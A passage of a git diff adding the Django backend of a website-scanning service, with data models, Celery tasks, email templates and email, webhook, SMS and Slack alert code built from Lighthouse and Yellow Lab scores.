handle(self, *args, **options): + asyncio.run(driver_test()) + + + + diff --git a/app/api/management/commands/driver_s_test.py b/app/api/management/commands/driver_s_test.py new file mode 100644 index 00000000..3ae6438a --- /dev/null +++ b/app/api/management/commands/driver_s_test.py @@ -0,0 +1,11 @@ +from ...utils.driver_s import driver_test +from django.core.management.base import BaseCommand + +# testing selenium, chromedriver, and chromium installation and configs + +class Command(BaseCommand): + + def handle(self, *args, **options): + driver_test() + + diff --git a/app/api/management/commands/wait_for_db.py b/app/api/management/commands/wait_for_db.py new file mode 100644 index 00000000..c5edb897 --- /dev/null +++ b/app/api/management/commands/wait_for_db.py @@ -0,0 +1,20 @@ +import time +from django.db import connections +from django.db.utils import OperationalError +from django.core.management import BaseCommand + +class Command(BaseCommand): + """Django command to pause execution until db is available""" + + def handle(self, *args, **options): + self.stdout.write('Waiting for database...') + db_conn = None + while not db_conn: + try: + db_conn = connections['default'] + except OperationalError: + self.stdout.write('Database unavailable, waititng 1 second...') + time.sleep(1) + + self.stdout.write(self.style.SUCCESS('Database available!')) + diff --git a/app/api/migrations/__init__.py b/app/api/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/app/api/models.py b/app/api/models.py new file mode 100644 index 00000000..f1bd6ac3 --- /dev/null +++ b/app/api/models.py @@ -0,0 +1,354 @@ +from django.db import models +from django.db import models +from django.utils import timezone +from django.urls import reverse +from django.contrib.auth.models import User +from datetime import datetime +from django.contrib.postgres.fields import JSONField +import uuid + + +def get_info_default(): + info_default = { + 'latest_scan': { + 'id': None, + 'time_created': None, + 'time_completed': None, + }, + 'latest_test': { + 'id': None, + 'time_created': None, + 'time_completed': None, + 'score': None + }, + 'lighthouse': { + 'average': None, + 'seo': None, + 'pwa': None, + 'crux': None, + 'performance': None, + 'accessibility': None, + 'best_practices': None, + }, + 'yellowlab': { + 'globalScore': None, + 'pageWeight': None, + 'requests': None, + 'domComplexity': None, + 'javascriptComplexity': None, + 'badJavascript': None, + 'jQuery': None, + 'cssComplexity': None, + 'badCSS': None, + 'fonts': None, + 'serverConfig': None, + }, + 'status': { + 'health': None, + 'badge': 'neutral', + 'score': None, + }, + } + return info_default + + + +def get_lh_delta_default(): + lh_delta_default = { + "scores": { + "seo_delta": None, + "performance_delta": None, + "accessibility_delta": None, + "best-practices_delta": None, + "pwa_delta": None, + "crux_delta": None, + "average_delta" : None, + "current_average": None, + }, + } + return lh_delta_default + + + +def get_yl_delta_default(): + yl_delta_default = { + "scores": { + "average_delta": None, + "pageWeight_delta": None, + "requests_delta": None, + "domComplexity_delta": None, + "javascriptComplexity_delta": None, + "badJavascript_delta": None, + "jQuery_delta": None, + "cssComplexity_delta": None, + "badCSS_delta": None, + "fonts_delta": None, + "serverConfig_delta": None, + }, + } + return yl_delta_default + + + +def get_lh_default(): + lh_default = { + "scores": { + "seo": None, + "performance": None, + "accessibility": None, + "best_practices": None, + "pwa": None, + "crux": None, + "average": None + }, + "audits": { + "seo": [], + "performance": [], + "accessibility": [], + "best-practices": [], + "pwa": [], + "crux": [] + }, + } + return lh_default + + + +def get_yl_default(): + yl_default = { + "scores": { + "globalScore": None, + "pageWeight": None, + "requests": None, + "domComplexity": None, + "javascriptComplexity": None, + "badJavascript": None, + "jQuery": None, + "cssComplexity": None, + "badCSS": None, + "fonts": None, + "serverConfig": None, + }, + "audits": { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + }, + } + return yl_default + + + +def get_expressions_default(): + expressions_default = { + 'list': [ + { + 'joiner': None, + 'data_type': None, + 'operator': None, + 'value': None, + }, + ], + } + return expressions_default + + + +def get_actions_default(): + actions_default = { + 'list': [ + { + 'action_type': None, + 'url': None, + 'request': None, + 'json': None, + 'email': None, + 'phone': None, + }, + ], + } + return actions_default + + + +def get_slack_default(): + slack_default = { + "slack_name": None, + "bot_user_id": None, + "slack_team_id": None, + "bot_access_token": None, + "slack_channel_id": None, + "slack_channel_name": None, + } + return slack_default + + +def get_tags_default(): + tags_default = None, + return tags_default + + + + +class Site(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True) + info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) + + def __str__(self): + return f'{self.site_url}' + + + +class Scan(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True, blank=True) + paired_scan = models.ForeignKey('self', on_delete=models.CASCADE, serialize=True, null=True, blank=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + time_completed = models.DateTimeField(serialize=True, null=True, blank=True) + html = models.TextField(serialize=True, null=True, blank=True) + logs = models.JSONField(serialize=True, null=True, blank=True) + images = models.JSONField(serialize=True, null=True, blank=True) + lighthouse = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_default) + yellowlab = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_default) + configs = models.JSONField(serialize=True, null=True, blank=True) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) + + def __str__(self): + return f'{self.id}__scan' + + + +class Test(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + site = models.ForeignKey(Site, on_delete=models.CASCADE, serialize=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + time_completed = models.DateTimeField(serialize=True, null=True, blank=True) + type = models.JSONField(serialize=True, null=True, blank=True) + pre_scan = models.ForeignKey(Scan, on_delete=models.CASCADE, serialize=True, null=True, blank=True, related_name='pre_scan') + post_scan = models.ForeignKey(Scan, on_delete=models.CASCADE, serialize=True, null=True, blank=True, related_name='post_scan') + score = models.FloatField(serialize=True, null=True, blank=True) + html_delta = models.JSONField(serialize=True, null=True, blank=True) + logs_delta = models.JSONField(serialize=True, null=True, blank=True) + lighthouse_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_lh_delta_default) + yellowlab_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_yl_delta_default) + images_delta = models.JSONField(serialize=True, null=True, blank=True) + tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) + + def __str__(self): + return f'{self.id}__test' + + + + +class Account(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) + active = models.BooleanField(default=False, serialize=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + max_sites = models.IntegerField(serialize=True, null=True, blank=True) + cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + price_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + slack = models.JSONField(serialize=True, null=True, blank=True, default=get_slack_default) + + def __str__(self): + return self.user.email + + + + +class Card(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True) + pay_method_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + brand = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + exp_month = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + exp_year = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + last_four = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + + def __str__(self): + return self.user.email + + + + +class Schedule(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto') + time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + task_type = models.CharField(max_length=100, default='test', serialize=True) # report, scan, test + timezone = models.CharField(max_length=100, null=True, blank=True, serialize=True) + begin_date = models.DateTimeField(default=datetime.now, serialize=True) + time = models.CharField(max_length=100, null=True, blank=True, serialize=True) + frequency = models.CharField(default="monthly", max_length=100, serialize=True) # daily, weekly, monthly, + task = models.CharField(max_length=500, null=True, blank=True, serialize=True) # assigning shared task + crontab_id = models.CharField(max_length=500, null=True, blank=True, serialize=True) + periodic_task_id = models.CharField(max_length=500, null=True, blank=True, serialize=True) + status = models.CharField(max_length=100, default='Active', null=True, blank=True, serialize=True) + extras = models.JSONField(serialize=True, null=True, blank=True) + + def __str__(self): + return f'{self.site.site_url}__{self.task_type}' + + + + +class Automation(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + schedule = models.ForeignKey(Schedule, on_delete=models.CASCADE, null=True, blank=True, serialize=True, related_name='assoc_sch') + expressions = models.JSONField(serialize=True, null=True, blank=True, default=get_expressions_default) + actions = models.JSONField(serialize=True, null=True, blank=True, default=get_actions_default) + + def __str__(self): + return f'{self.name}' + + + + + +class Report(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + path = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + type = models.JSONField(serialize=True, null=True, blank=True) # array of [lighthouse, yellowlab, crux] + info = models.JSONField(serialize=True, null=True, blank=True) + + def __str__(self): + return f'{self.site.site_url}__report' + + + + +class Log(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) + time_created = models.DateTimeField(default=timezone.now, serialize=True) + path = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + request_type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + status = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + request_payload = models.JSONField(serialize=True, null=True, blank=True) + response_payload = models.JSONField(serialize=True, null=True, blank=True) + + def __str__(self): + return f'{self.status}__{self.request_type}__{self.path}' diff --git a/app/api/tasks.py b/app/api/tasks.py new file mode 100644 index 00000000..5447d37e --- /dev/null +++ b/app/api/tasks.py @@ -0,0 +1,102 @@ +from __future__ import absolute_import, unicode_literals +from celery.utils.log import get_task_logger +from celery import shared_task +from .v1.ops.tasks import (create_site_task, + create_scan_task, create_test_task, delete_site_s3, + create_report_task, delete_report_s3, +) +from .models import Log +from django.contrib.auth.models import User +from .utils.driver_p import driver_test +from asgiref.sync import async_to_sync +import asyncio + + +logger = get_task_logger(__name__) + + + +@shared_task +def test_pupeteer(): + asyncio.run(driver_test()) + logger.info('Tested pupeteer instalation') + + +@shared_task +def create_site_bg(site_id, scan_id): + create_site_task(site_id, scan_id) + logger.info('Created scan of new site') + + + +@shared_task +def create_scan_bg( + scan_id=None, + site_id=None, + automation_id=None, + configs=None, + tags=None, + ): + create_scan_task( + scan_id, + site_id, + automation_id, + configs, + tags, + ) + logger.info('Created new scan of site') + + + +@shared_task +def create_test_bg( + test_id=None, + site_id=None, + automation_id=None, + configs=None, + type=['full'], + index=None, + pre_scan=None, + post_scan=None, + tags=None, + ): + create_test_task( + test_id, + site_id, + automation_id, + configs, + type, + index, + pre_scan, + post_scan, + tags + ) + logger.info('Created new test of site') + +@shared_task +def create_report_bg(site_id=None, automation_id=None): + create_report_task(site_id, automation_id) + logger.info('Created new report of site') + + +@shared_task +def delete_site_s3_bg(site_id): + delete_site_s3(site_id) + logger.info('Deleted site s3 objects') + + +@shared_task +def delete_report_s3_bg(report_id): + delete_report_s3(report_id) + logger.info('Deleted Report pdf in s3') + + +@shared_task +def purge_logs(username=None): + if username: + user = User.objects.get(username=username) + Log.objects.filter(user=user).delete() + else: + Log.objects.all().delete() + + logger.info('Purged logs') \ No newline at end of file diff --git a/app/api/templates/api/automation_email.html b/app/api/templates/api/automation_email.html new file mode 100644 index 00000000..ca05930d --- /dev/null +++ b/app/api/templates/api/automation_email.html @@ -0,0 +1,175 @@ +{% load markdownify %} + + + + + + {{ title }} + + + + + + + + + + +
  +
+ + + + + + + + + + +
+ + + + +
+

Hi there,

+

{{ pre_content|markdownify }}

+
+
    + {% for exp in exp_list %} +
  • {{ exp }}
    • + {% endfor %} +
+
+
+ + + + + + +
+ + + + + + +
{{ button_text }}
+
+

{{ content|markdownify }}

+

{{ signature }}

+
+
+ + +
+ + + + + + + +
+ Scanerr Inc, 123 Tech Road, San Francisco CA +
+ Powered by Scanerr. +
+
+ + + +
+ 		 
+ + \ No newline at end of file diff --git a/app/api/templates/api/reset_password_email.html b/app/api/templates/api/reset_password_email.html new file mode 100644 index 00000000..146d1070 --- /dev/null +++ b/app/api/templates/api/reset_password_email.html @@ -0,0 +1,166 @@ + + + + + + {{ title }} + + + + + + + + + + +
  +
+ + + + + + + + + + +
+ + + + +
+

Hi there,

+

{{ pre_content }}

+ + + + + + +
+ + + + + + +
{{ button_text }}
+
+

{{ content }}

+

{{ signature }}

+
+
+ + +
+ + + + + + + +
+ Scanerr Inc, 123 Tech Road, San Francisco CA +
+ Powered by Scanerr. +
+
+ + + +
+ 		 
+ + \ No newline at end of file diff --git a/app/api/tests.py b/app/api/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/app/api/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/app/api/urls.py b/app/api/urls.py new file mode 100644 index 00000000..9df63e49 --- /dev/null +++ b/app/api/urls.py @@ -0,0 +1,11 @@ +from .v1 import urls as v1_urls +from django.urls import path, include + + + + +urlpatterns = [ + path('v1/', include(v1_urls)), +] + + diff --git a/app/api/utils/__init__.py b/app/api/utils/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py new file mode 100644 index 00000000..c8a8de05 --- /dev/null +++ b/app/api/utils/alerts.py @@ -0,0 +1,543 @@ +from django.core.mail import send_mail, send_mass_mail +from django.contrib.auth.models import User +from django.template.loader import render_to_string +from datetime import date +import os, operator, json, requests, uuid +from django.utils.html import strip_tags +from django.contrib.auth.models import User +from rest_framework.response import Response +from ..models import * +from twilio.rest import Client +from slack_sdk.web import WebClient +from slack_sdk.errors import SlackApiError + + + + + +def create_exp_str(item, automation, is_email=False): + + exp_list = [] + + for e in automation.expressions: + if 'test_score' in e['data_type']: + data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t' + elif 'current_health' in e['data_type']: + data_type = 'Health:\t'+str((float(item.lighthouse_delta["scores"]["current_average"]) + float(item.yellowlab_delta["scores"]["current_average"])/2))+'\n\t' + elif 'health' in e['data_type']: + data_type = 'Health:\t'+str((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2))+'\n\t' + # LH test data + elif 'current_lighthouse_average' in e['data_type']: + data_type = 'Lighthouse Average:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t' + elif 'seo_delta' in e['data_type']: + data_type = 'SEO Delta:\t'+str(item.lighthouse_delta["scores"]["seo_delta"])+'\n\t' + elif 'pwa_delta' in e['data_type']: + data_type = 'PWA Delta:\t'+str(item.lighthouse_delta["scores"]["pwa_delta"])+'\n\t' + elif 'crux_delta' in e['data_type']: + data_type = 'CRUX Delta:\t'+str(item.lighthouse_delta["scores"]["crux_delta"])+'\n\t' + elif 'best_practices_delta' in e['data_type']: + data_type = 'Best Practices Delta:\t'+str(item.lighthouse_delta["scores"]["best_practices_delta"])+'\n\t' + elif 'performance_delta' in e['data_type']: + data_type = 'Performance Delta:\t'+str(item.lighthouse_delta["scores"]["performance_delta"])+'\n\t' + elif 'accessibility_delta' in e['data_type']: + data_type = 'Accessibility Delta:\t'+str(item.lighthouse_delta["scores"]["accessibility_delta"])+'\n\t' + # LH scan data + elif 'lighthouse_average' in e['data_type']: + data_type = 'Lighthouse Average:\t'+str(item.lighthouse["scores"]["average"])+'\n\t' + elif 'seo' in e['data_type']: + data_type = 'SEO:\t'+str(item.lighthouse["scores"]["seo"])+'\n\t' + elif 'pwa' in e['data_type']: + data_type = 'PWA:\t'+str(item.lighthouse["scores"]["pwa"])+'\n\t' + elif 'crux' in e['data_type']: + data_type = 'CRUX:\t'+str(item.lighthouse["scores"]["crux"])+'\n\t' + elif 'best_practices' in e['data_type']: + data_type = 'Best Practices:\t'+str(item.lighthouse["scores"]["best_practices"])+'\n\t' + elif 'performance' in e['data_type']: + data_type = 'Performance:\t'+str(item.lighthouse["scores"]["performance"])+'\n\t' + elif 'accessibility' in e['data_type']: + data_type = 'Accessibility:\t'+str(item.lighthouse["scores"]["accessibility"])+'\n\t' + + + + # yellowlab test data + elif 'current_yellowlab_average' in e['data_type']: + data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab_delta["scores"]["current_average"])+'\n\t' + elif 'pageWeight_delta' in e['data_type']: + data_type = 'Page Weight Delta:\t'+str(item.yellowlab_delta["scores"]["pageWeight_delta"])+'\n\t' + elif 'requests_delta' in e['data_type']: + data_type = 'Requests Delta:\t'+str(item.yellowlab_delta["scores"]["requests_delta"])+'\n\t' + elif 'domComplexity_delta' in e['data_type']: + data_type = 'DOM Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["domComplexity_delta"])+'\n\t' + elif 'javascriptComplexity_delta' in e['data_type']: + data_type = 'JS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["javascriptComplexity_delta"])+'\n\t' + elif 'badJavascript_delta' in e['data_type']: + data_type = 'Bad JS Delta:\t'+str(item.yellowlab_delta["scores"]["badJavascript_delta"])+'\n\t' + elif 'jQuery_delta' in e['data_type']: + data_type = 'jQuery Delta:\t'+str(item.yellowlab_delta["scores"]["jQuery_delta"])+'\n\t' + elif 'cssComplexity_delta' in e['data_type']: + data_type = 'CSS Complex. Delta:\t'+str(item.yellowlab_delta["scores"]["cssComplexity_delta"])+'\n\t' + elif 'badCSS_delta' in e['data_type']: + data_type = 'Bad CSS Delta:\t'+str(item.yellowlab_delta["scores"]["badCSS_delta"])+'\n\t' + elif 'fonts_delta' in e['data_type']: + data_type = 'Fonts Delta:\t'+str(item.yellowlab_delta["scores"]["fonts_delta"])+'\n\t' + elif 'serverConfig_delta' in e['data_type']: + data_type = 'Server Config Delta:\t'+str(item.yellowlab_delta["scores"]["serverConfig_delta"])+'\n\t' + + # yellowlab scan data + elif 'yellowlab_average' in e['data_type']: + data_type = 'Yellow Lab Avg:\t'+str(item.yellowlab["scores"]["globalScore"])+'\n\t' + elif 'pageWeight' in e['data_type']: + data_type = 'Page Weight:\t'+str(item.yellowlab["scores"]["pageWeight"])+'\n\t' + elif 'requests' in e['data_type']: + data_type = 'Requests:\t'+str(item.yellowlab["scores"]["requests"])+'\n\t' + elif 'domComplexity' in e['data_type']: + data_type = 'DOM Complex.:\t'+str(item.yellowlab["scores"]["domComplexity"])+'\n\t' + elif 'javascriptComplexity' in e['data_type']: + data_type = 'JS Complex.:\t'+str(item.yellowlab["scores"]["javascriptComplexity"])+'\n\t' + elif 'badJavascript' in e['data_type']: + data_type = 'Bad JS:\t'+str(item.yellowlab["scores"]["badJavascript"])+'\n\t' + elif 'jQuery' in e['data_type']: + data_type = 'jQuery:\t'+str(item.yellowlab["scores"]["jQuery"])+'\n\t' + elif 'cssComplexity' in e['data_type']: + data_type = 'CSS Complex.:\t'+str(item.yellowlab["scores"]["cssComplexity"])+'\n\t' + elif 'badCSS' in e['data_type']: + data_type = 'Bad CSS:\t'+str(item.yellowlab["scores"]["badCSS"])+'\n\t' + elif 'fonts' in e['data_type']: + data_type = 'Fonts:\t'+str(item.yellowlab["scores"]["fonts"])+'\n\t' + elif 'serverConfig' in e['data_type']: + data_type = 'Server Config:\t'+str(item.yellowlab["scores"]["serverConfig"])+'\n\t' + + elif 'avg_image_score' in e['data_type']: + data_type = ' Avg Image Score:\t'+str(item.images_delta["average_score"])+'\n\t' + elif 'image_scores' in e['data_type']: + data_type = 'List of Image Scores:\t'+str([i["score"] for i in item.images_delta["images"]])+'\n\t' + + elif 'logs' in e['data_type']: + data_type = 'Error Logs:\t'+str(len(item.logs))+'\n\t' + + + exp_list.append(data_type) + + if is_email: + return exp_list + + exp_str = ('\t'+''.join(exp_list)) + return exp_str + + + + + + + + + + + +def create_json_data(data, obj): + json_data = data + item = obj + + for key in json_data: + if 'test_score' == json_data[key]: + json_data[key] = item.score + elif 'seo_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["seo_delta"] + elif 'pwa_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["pwa_delta"] + elif 'crux_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["crux_delta"] + elif 'best_practices_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["best_practices_delta"] + elif 'performance_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["performance_delta"] + elif 'accessibility_delta' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["accessibility_delta"] + elif 'current_health' == json_data[key]: + json_data[key] = (float(item.lighthouse_delta["scores"]["average"]) + float(item.yellowlab_delta["scores"]["globalScore"])/2) + elif 'health' == json_data[key]: + json_data[key] = (float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"])/2) + elif 'logs' == json_data[key]: + json_data[key] = len(item.logs) + elif 'current_lighthouse_average' == json_data[key]: + json_data[key] = item.lighthouse_delta["scores"]["current_average"] + elif 'current_average' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["current_average"] + elif 'seo' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["seo"] + elif 'pwa' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["pwa"] + elif 'crux' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["crux"] + elif 'best_practice' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["best_practices"] + elif 'performance' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["performance"] + elif 'accessibility' == json_data[key]: + json_data[key] = item.lighthouse["scores"]["accessibility"] + + elif 'current_yellowlab_average' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["current_average"] + elif 'pageWeight_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["pageWeight_delta"] + elif 'requests_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["requests_delta"] + elif 'domComplexity_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["domComplexity_delta"] + elif 'javascriptComplexity_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["javascriptComplexity_delta"] + elif 'badJavascript_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["badJavascript_delta"] + elif 'jQuery_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["jQuery_delta"] + elif 'cssComplexity_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["cssComplexity_delta"] + elif 'badCSS_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["badCSS_delta"] + elif 'fonts_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["fonts_delta"] + elif 'serverConfig_delta' == json_data[key]: + json_data[key] = item.yellowlab_delta["scores"]["serverConfig_delta"] + + elif 'yellowlab_average' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["globalScore"] + elif 'pageWeight' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["pageWeight"] + elif 'requests' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["requests"] + elif 'domComplexity' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["domComplexity"] + elif 'javascriptComplexity' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["javascriptComplexity"] + elif 'badJavascript' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["badJavascript"] + elif 'jQuery' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["jQuery"] + elif 'cssComplexity' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["cssComplexity"] + elif 'badCSS' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["badCSS"] + elif 'fonts' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["fonts"] + elif 'serverConfig' == json_data[key]: + json_data[key] = item.yellowlab["scores"]["serverConfig"] + + elif 'avg_image_score' == json_data[key]: + json_data[key] = item.images_delta["average_score"] + elif 'image_scores' == json_data[key]: + json_data[key] = [i["score"] for i in item.images_delta["images"]] + + + return json_data + + + + + + + + + + + + +def automation_email(email=None, automation_id=None, object_id=None): + if email and automation_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + site = schedule.site + + try: + item = Test.objects.get(id=uuid.UUID(object_id)) + item_type = 'Test' + except: + try: + item = Scan.objects.get(id=uuid.UUID(object_id)) + item_type = 'Scan' + except: + return {'success': False} + + exp_list = create_exp_str(item=item, automation=automation, is_email=True) + + object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) + subject = f'Alert for {site.site_url}' + title = f'Alert for {site.site_url}' + pre_header = f'Alert for {site.site_url}' + pre_content = ( + f'Scanerr just finished running a {item_type} for {site.site_url}. ' + f'Below are the current stats:\n' + ) + content = ( + f'This message was triggered by an automation you created. ' + f'You can change the automation and schedule in your site\'s dashboard. ' + ) + subject = subject + context = { + 'title' : title, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'exp_list': exp_list, + 'object_url' : object_url, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'View Site Dashboard', + 'content' : content, + 'signature' : '- Cheers!', + } + + html_message = render_to_string('api/automation_email.html', context) + plain_message = strip_tags(html_message) + send_mail( + from_email = os.getenv('EMAIL_HOST_USER'), + subject = subject, + message = plain_message, + recipient_list = [email], + html_message = html_message, + fail_silently = True, + ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + + +def automation_report_email(email=None, automation_id=None, object_id=None): + if email and automation_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + site = schedule.site + + try: + item = Report.objects.get(id=uuid.UUID(object_id)) + item_type = 'Report' + except: + return {'success': False} + + exp_list = '' + object_url = str(item.path) + subject = f'Report for {site.site_url}' + title = f'Report for {site.site_url}' + pre_header = f'Report for {site.site_url}' + pre_content = ( + f'Scanerr just finished creating a {item_type} for {site.site_url}. ' + f'Please click the link below to access and download the report.\n' + ) + content = ( + f'This message was triggered by an automation created with Scanerr. ' + f'You can change the automation and schedule in your site\'s dashboard. ' + ) + subject = subject + context = { + 'title' : title, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'exp_list': exp_list, + 'object_url' : object_url, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'View Report', + 'content' : content, + 'signature' : '- Cheers!', + } + + html_message = render_to_string('api/automation_email.html', context) + plain_message = strip_tags(html_message) + send_mail( + from_email = os.getenv('EMAIL_HOST_USER'), + subject = subject, + message = plain_message, + recipient_list = [email], + html_message = html_message, + fail_silently = True, + ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + +def automation_webhook( + request_type=None, + request_url=None, + request_data=None, + automation_id=None, + object_id=None, + ): + if request_type and automation_id and request_url and request_data and object_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + site = schedule.site + + try: + item = Test.objects.get(id=uuid.UUID(object_id)) + item_type = 'Test' + except: + try: + item = Scan.objects.get(id=uuid.UUID(object_id)) + item_type = 'Scan' + except: + return {'success': False} + + pre_json_data = json.loads(request_data) + json_data = create_json_data(data=pre_json_data, obj=item) + + try: + if request_type == 'POST': + response = requests.post(request_url, data=json_data) + elif request_data == 'GET': + response = requests.get(request_url, params=json_data) + + print(response.json()) + + except: + data = {'success': False} + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + + +def automation_phone(phone_number=None, automation_id=None, object_id=None): + if phone_number and automation_id and object_id: + automation = Automation.objects.get(id=automation_id) + schedule = automation.schedule + site = schedule.site + + try: + item = Test.objects.get(id=uuid.UUID(object_id)) + item_type = 'Test' + except: + try: + item = Scan.objects.get(id=uuid.UUID(object_id)) + item_type = 'Scan' + except: + return {'success': False} + + exp_str = create_exp_str(item=item, automation=automation) + + object_url = str(os.environ.get('CLIENT_URL_ROOT') + '/site/'+str(site.id)) + pre_content = ( + f'Scanerr just finished running a {item_type} for {site.site_url}. ' + f'Below are the current stats:\n\n\t{exp_str}\n' + ) + content = ( + f'This message was triggered by an automation you created. ' + f'You can change the automation and schedule in your site\'s dashboard. ' + ) + + body = f'Hi there,\n\n{pre_content}{content}\n{object_url}' + + account_sid = os.environ.get("TWILIO_SID") + auth_token = os.environ.get("TWILIO_AUTH_TOKEN") + client = Client(account_sid, auth_token) + + message = client.messages.create( + to=phone_number, + from_=os.environ.get('TWILIO_NUMBER'), + body=body + ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + +def automation_slack(automation_id=None, object_id=None): + if automation_id and object_id: + automation = Automation.objects.get(id=automation_id) + account = Account.objects.get(user=automation.user) + schedule = 